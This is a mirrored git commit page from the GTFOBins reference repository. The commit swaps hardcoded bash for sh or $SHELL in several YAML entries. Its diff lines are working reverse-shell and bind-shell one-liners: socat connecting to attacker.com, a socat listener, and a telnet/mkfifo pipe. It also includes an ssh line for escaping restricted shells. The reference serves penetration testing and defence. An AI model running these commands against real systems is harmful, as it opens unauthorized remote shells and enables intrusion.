mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-04 02:38:43 +01:00 
			
		
		
		
	Remove hardcoded instances of bash
This commit is contained in:
		@@ -5,10 +5,10 @@ functions:
 | 
			
		||||
      code: |
 | 
			
		||||
        RHOST=attacker.com
 | 
			
		||||
        RPORT=12345
 | 
			
		||||
        socat tcp-connect:$RHOST:$RPORT exec:"bash -li",pty,stderr,setsid,sigint,sane
 | 
			
		||||
        socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
 | 
			
		||||
  bind-shell-interactive:
 | 
			
		||||
    - description: Run <code>socat FILE:`tty`,raw,echo=0 TCP:target.com:12345</code> on the attacker box to connect to the shell.
 | 
			
		||||
      code: |
 | 
			
		||||
        LPORT=12345
 | 
			
		||||
        socat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
 | 
			
		||||
        socat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:sh,pty,stderr,setsid,sigint,sane
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
@@ -2,7 +2,7 @@
 | 
			
		||||
functions:
 | 
			
		||||
  execute-interactive:
 | 
			
		||||
    - description: Reconnecting may help bypassing restricted shells.
 | 
			
		||||
      code: ssh localhost /bin/bash --noprofile --norc
 | 
			
		||||
      code: ssh localhost $SHELL --noprofile --norc
 | 
			
		||||
  download:
 | 
			
		||||
    - description: Fetch a remote file from a SSH server.
 | 
			
		||||
      code: |
 | 
			
		||||
 
 | 
			
		||||
@@ -15,7 +15,7 @@ functions:
 | 
			
		||||
        RPORT=12345
 | 
			
		||||
        TF=$(mktemp)
 | 
			
		||||
        rm $TF
 | 
			
		||||
        mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/bash 1>$TF
 | 
			
		||||
        mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/sh 1>$TF
 | 
			
		||||
  sudo-enabled:
 | 
			
		||||
    - description: BSD version only. Needs to be connected first.
 | 
			
		||||
      code: |
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user